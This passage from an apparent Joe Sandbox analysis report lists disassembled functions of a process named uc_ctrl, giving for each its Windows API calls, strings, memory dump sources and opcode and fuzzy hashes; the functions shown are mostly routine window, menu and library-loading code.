                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Creatememset$ContainerElementFirstLib@@ListMessageProcessProcess32SendSnapshotToolhelp32exitwcsstr
                                                                                              • String ID: D$login$ucapp:
                                                                                              • API String ID: 1691680665-2454728020
                                                                                              • Opcode ID: 99ec0076398049373ec088155f17fbb1af2abe3d1febe8cd7c6cb09efb93765b
                                                                                              • Instruction ID: 7a9524515c185a4270154af4e51ee4b88e8155878d4a1860b7224173e38de3a6
                                                                                              • Opcode Fuzzy Hash: 99ec0076398049373ec088155f17fbb1af2abe3d1febe8cd7c6cb09efb93765b
                                                                                              • Instruction Fuzzy Hash: A0028F71A00205DFDB24DF64C848BAEB7F5BF14310F548298E5E9AB2D1DBB0AE44CB90
                                                                                              Function 6CF98439 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 121windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF98443
                                                                                              • SendMessageW.USER32(?,00000000,00000000,00000080), ref: 6CF98489
                                                                                              • SendMessageW.USER32(?,00000000,00000000), ref: 6CF984B5
                                                                                              • ValidateRect.USER32(?,00000000), ref: 6CF984C4
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$H_prolog3_RectValidate
                                                                                              • String ID: W
                                                                                              • API String ID: 3261311288-655174618
                                                                                              • Opcode ID: 3638a996d157f9c0c27b859a49cf25b1f4038fe20c613a734a750bbfcfa0518f
                                                                                              • Instruction ID: c8b02ae2fe83df75deb40040b0a0fc8ba1992644c9fa10d0addba90ce29eab83
                                                                                              • Opcode Fuzzy Hash: 3638a996d157f9c0c27b859a49cf25b1f4038fe20c613a734a750bbfcfa0518f
                                                                                              • Instruction Fuzzy Hash: 85417E71900609EFEF119FA4DC94BAEBBB5FF4C308F10852EE596A2A20DB759905CF11
                                                                                              Function 6CF91081 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CoInitialize.OLE32(00000000), ref: 6CF910A1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Initialize
                                                                                              • String ID: D2D1.dll$D2D1CreateFactory$D2D1MakeRotateMatrix$DWrite.dll$DWriteCreateFactory
                                                                                              • API String ID: 2538663250-1403614551
                                                                                              • Opcode ID: 092208f7ac2be7b0ab3dd2d1a0daf276f9ba24b4e509948a3656778391c859cc
                                                                                              • Instruction ID: 8749610f8f9313db166f74995266e1b392f3602860d6dd015cd32d7f76839871
                                                                                              • Opcode Fuzzy Hash: 092208f7ac2be7b0ab3dd2d1a0daf276f9ba24b4e509948a3656778391c859cc
                                                                                              • Instruction Fuzzy Hash: 8521F17A508741AFFB209F71DC48F2776BDEB49658F20C539E85A82990EB71D4058A21
                                                                                              Function 6CFA4A30 Relevance: 16.6, APIs: 11, Instructions: 140COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CFA4A37
                                                                                              • FindResourceW.KERNEL32(?,00000000,00000005), ref: 6CFA4A7B
                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 6CFA4A83
                                                                                                • Part of subcall function 6CF9744F: UnhookWindowsHookEx.USER32(?), ref: 6CF97479
                                                                                              • LockResource.KERNEL32(?), ref: 6CFA4A93
                                                                                              • GetDesktopWindow.USER32 ref: 6CFA4ACA
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 6CFA4AD5
                                                                                              • EnableWindow.USER32(00000000,00000000), ref: 6CFA4AE1
                                                                                                • Part of subcall function 6CF9D728: IsWindowEnabled.USER32(?), ref: 6CF9D733
                                                                                                • Part of subcall function 6CF9D500: EnableWindow.USER32(?,00000000), ref: 6CF9D511
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CFA4BC4
                                                                                              • GetActiveWindow.USER32 ref: 6CFA4BCE
                                                                                              • SetActiveWindow.USER32(00000000,?,?,?,?,?,00000000), ref: 6CFA4BDA
                                                                                              • FreeResource.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CFA4C03
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
                                                                                              • String ID:
                                                                                              • API String ID: 964565984-0
                                                                                              • Opcode ID: aea422f6c855c2ffd0822a24a6c20d95217ee4f44123a43d8b35d18dca70c0e2
                                                                                              • Instruction ID: 7b8ec45d49127553c85677f82ed9912a58591a9cbfa9aa897b568c34a7557fbb
                                                                                              • Opcode Fuzzy Hash: aea422f6c855c2ffd0822a24a6c20d95217ee4f44123a43d8b35d18dca70c0e2
                                                                                              • Instruction Fuzzy Hash: 93518F30A01615DBDF01DFA5C944BAEFAB5BF48369F102119E911B7780DF74A802CFA6
                                                                                              Function 6CF943FA Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 399windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF94404
                                                                                                • Part of subcall function 6CF8A0EB: __EH_prolog3.LIBCMT ref: 6CF8A0F2
                                                                                                • Part of subcall function 6CF93576: __EH_prolog3.LIBCMT ref: 6CF9360A
                                                                                              • SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 6CF945F4
                                                                                              • SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6CF947BD
                                                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 6CF947E2
                                                                                              • UpdateWindow.USER32(?), ref: 6CF94803
                                                                                              • SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6CF948BD
                                                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 6CF948E2
                                                                                              • UpdateWindow.USER32(?), ref: 6CF94903
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$H_prolog3InvalidateRectUpdateWindow$H_prolog3_
                                                                                              • String ID: :/\
                                                                                              • API String ID: 685702388-2793184486
                                                                                              • Opcode ID: a91c27c4234f19c175fa6af45cb5d6967fb0262d4ddd1db7bdb7f920de8c2f56
                                                                                              • Instruction ID: e91cc72f483f920b22d65973ff841da3305bb79718f9a2df7afae4eb166ac002
                                                                                              • Opcode Fuzzy Hash: a91c27c4234f19c175fa6af45cb5d6967fb0262d4ddd1db7bdb7f920de8c2f56
                                                                                              • Instruction Fuzzy Hash: 72F16C316052149FDF14EB24CC98BADB7B6AF98308F1101D8D51AAB3E1DB34AE49CF56
                                                                                              Function 6CEDDE78 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 258COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000003,?,00000001,00000000), ref: 6CEDDED9
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEDDF0D
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEDDA82), ref: 6CEDDF1B
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEDDF4B
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEDDA82), ref: 6CEDDF7F
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000009,00000009), ref: 6CEDE06B
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEDE094
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: isdigit$localeconv
                                                                                              • String ID: -$Cw}3/
                                                                                              • API String ID: 3674116420-1158928852
                                                                                              • Opcode ID: 4d5df5301dc897229d55b811ed10ee586644e7a927ee3f4ddac354cf94becc80
                                                                                              • Instruction ID: 473f74b322c0b807809341b2406d0032541a6e7d0fe3235c4c04ed6829bba80e
                                                                                              • Opcode Fuzzy Hash: 4d5df5301dc897229d55b811ed10ee586644e7a927ee3f4ddac354cf94becc80
                                                                                              • Instruction Fuzzy Hash: CC917774E052999FCB158FA9C4843ACBFF5EF4A318F29046AE895DB740D730A943CB90
                                                                                              Function 6CF9965F Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 225libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ScreenToClient.USER32(?,?), ref: 6CF99727
                                                                                              • GetModuleHandleW.KERNEL32(user32.dll), ref: 6CF998DE
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF998EA
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              • GetProcAddress.KERNEL32(GetGestureInfo), ref: 6CF9991E
                                                                                              • GetProcAddress.KERNEL32(CloseGestureInfoHandle), ref: 6CF99934
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF99940
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressInit_thread_footerProc$ClientException@8HandleModuleScreenThrow
                                                                                              • String ID: CloseGestureInfoHandle$GetGestureInfo$user32.dll
                                                                                              • API String ID: 4082382604-2905070798
                                                                                              • Opcode ID: 353abb03bcc54797ef4cfb63d9da4cf3d65465b83d9e196e8ce39cc53238c963
                                                                                              • Instruction ID: 0a15a65e28a07e7bc1feb65978ee1e5c0375e3553e277b3660f7ab25e363c656
                                                                                              • Opcode Fuzzy Hash: 353abb03bcc54797ef4cfb63d9da4cf3d65465b83d9e196e8ce39cc53238c963
                                                                                              • Instruction Fuzzy Hash: 3591D371A01616EFEF04CF69C984BAD7BF1FF09319B11016DE91897A50DB35AA20CF81
                                                                                              Function 6CF9BAA3 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch_GS.LIBCMT ref: 6CF9BAAA
                                                                                              • GetPropW.USER32(?,AfxOldWndProc423), ref: 6CF9BAC1
                                                                                              • CallWindowProcW.USER32(?,?,00000110,?,?), ref: 6CF9BB25
                                                                                                • Part of subcall function 6CF9C007: GetWindowRect.USER32(?,?), ref: 6CF9C048
                                                                                                • Part of subcall function 6CF9C007: GetWindow.USER32(?,00000004), ref: 6CF9C065
                                                                                              • SetWindowLongW.USER32(?,000000FC,00000000), ref: 6CF9BB45
                                                                                              • RemovePropW.USER32(?,AfxOldWndProc423), ref: 6CF9BB52
                                                                                              • GlobalFindAtomW.KERNEL32(AfxOldWndProc423), ref: 6CF9BB59
                                                                                              • GlobalDeleteAtom.KERNEL32(?), ref: 6CF9BB63
                                                                                                • Part of subcall function 6CF9C0B3: GetWindowRect.USER32(?,?), ref: 6CF9C0C0
                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 6CF9BBBA
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catch_LongRemove
                                                                                              • String ID: AfxOldWndProc423
                                                                                              • API String ID: 3351853316-1060338832
                                                                                              • Opcode ID: ca58c8b9913c52d4d13a6386d652c7d0f239602816081a69d673594ed6d27e67
                                                                                              • Instruction ID: e7ff77c8def398e61345772832ba9cbfaaa52112d721700a92a4dfaa1f7dda25
                                                                                              • Opcode Fuzzy Hash: ca58c8b9913c52d4d13a6386d652c7d0f239602816081a69d673594ed6d27e67
                                                                                              • Instruction Fuzzy Hash: E5317271D00118BBEF159FB4DD48EFEBAB9EF4E714F20491AF912B2650CB3599008B65
                                                                                              Function 6CEE6DB0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memset.VCRUNTIME140(?,00000000,00000034), ref: 6CEE6DD2
                                                                                              • memset.VCRUNTIME140(?,00000000,00000034,?,00000000,00000034), ref: 6CEE6DDE
                                                                                              • CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6CEE6DF9
                                                                                              • GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CEE6E0B
                                                                                              • CloseHandle.KERNEL32(?,00000000), ref: 6CEE6E18
                                                                                              • CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6CEE6E2B
                                                                                              • GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CEE6E3D
                                                                                              • CloseHandle.KERNEL32(?,00000000), ref: 6CEE6E4A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileHandle$CloseCreateInformationmemset
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 2456596185-738913995
                                                                                              • Opcode ID: 73d8c14a82b64b9bef730d5ccd7cb66ee202996884b0ad3a620c31c6e622c182
                                                                                              • Instruction ID: ddae85090d6631e32033c7fdb37a209baeb4a07dbd8fae63fd6208c5dd5a2ba3
                                                                                              • Opcode Fuzzy Hash: 73d8c14a82b64b9bef730d5ccd7cb66ee202996884b0ad3a620c31c6e622c182
                                                                                              • Instruction Fuzzy Hash: 7031B471E1521CBFEB109AA4CC80AEEB77CAF06758F644254F669EB2D0D7215E0487A0
                                                                                              Function 6CF90D03 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 74libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                              • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF90D50
                                                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetSystemDirectoryW.KERNEL32(?,00000105), ref: 6CF90D79
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeDirectoryEncodeHandleLibraryLoadModuleProcSystem
                                                                                              • String ID: SetDefaultDllDirectories$\$kernel32.dll
                                                                                              • API String ID: 4227638471-3881611067
                                                                                              • Opcode ID: ed3b518fa7487a995da9dafb8a33c28754039831faec5d0d7a566fd7e46609a4
                                                                                              • Instruction ID: eb871656ec5ce47ffbc386f1549ef334dbd44767dbf5de44235429d2d5a9f63e
                                                                                              • Opcode Fuzzy Hash: ed3b518fa7487a995da9dafb8a33c28754039831faec5d0d7a566fd7e46609a4
                                                                                              • Instruction Fuzzy Hash: EA21A171D01218ABEF10DB659C4CBAF3BBCAB09724F240466FC08E3560EFB4E545CA92
                                                                                              Function 6CFCA993 Relevance: 15.2, APIs: 10, Instructions: 202COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFCA99D
                                                                                              • GetObjectW.GDI32(?,00000018,?), ref: 6CFCA9C6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_Object
                                                                                              • String ID:
                                                                                              • API String ID: 2214263146-0
                                                                                              • Opcode ID: 60e17bb65129db28185fdb589088b86ebd121c6c9d1f57e2faead2bda06cd16c
                                                                                              • Instruction ID: e91dc3d638da500dce81fb919597202e24641c50a0eacb74362340f6c6ad7a9d
                                                                                              • Opcode Fuzzy Hash: 60e17bb65129db28185fdb589088b86ebd121c6c9d1f57e2faead2bda06cd16c
                                                                                              • Instruction Fuzzy Hash: AE811A71F002298BDB24CFA9C884B9EBBB6FF49304F254169E959A7701DB30AD85CF51
                                                                                              Function 6CF8FD9C Relevance: 15.1, APIs: 10, Instructions: 145windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF8FDA6
                                                                                              • GetMenuItemCount.USER32(?), ref: 6CF8FDD2
                                                                                              • GetSubMenu.USER32(?,00000000), ref: 6CF8FE08
                                                                                              • GetMenuState.USER32(?,?,00000400), ref: 6CF8FE25
                                                                                              • GetSubMenu.USER32(?,00000000), ref: 6CF8FE82
                                                                                              • GetMenuStringW.USER32(?,?,?,00000100,00000400), ref: 6CF8FEAB
                                                                                              • AppendMenuW.USER32(?,00000010,?,?), ref: 6CF8FF25
                                                                                              • GetMenuItemCount.USER32(00000000), ref: 6CF8FF96
                                                                                              • InsertMenuW.USER32(?,00000000,?,00000000), ref: 6CF8FFC3
                                                                                              • GetMenuItemID.USER32(?,?), ref: 6CF8FFF4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
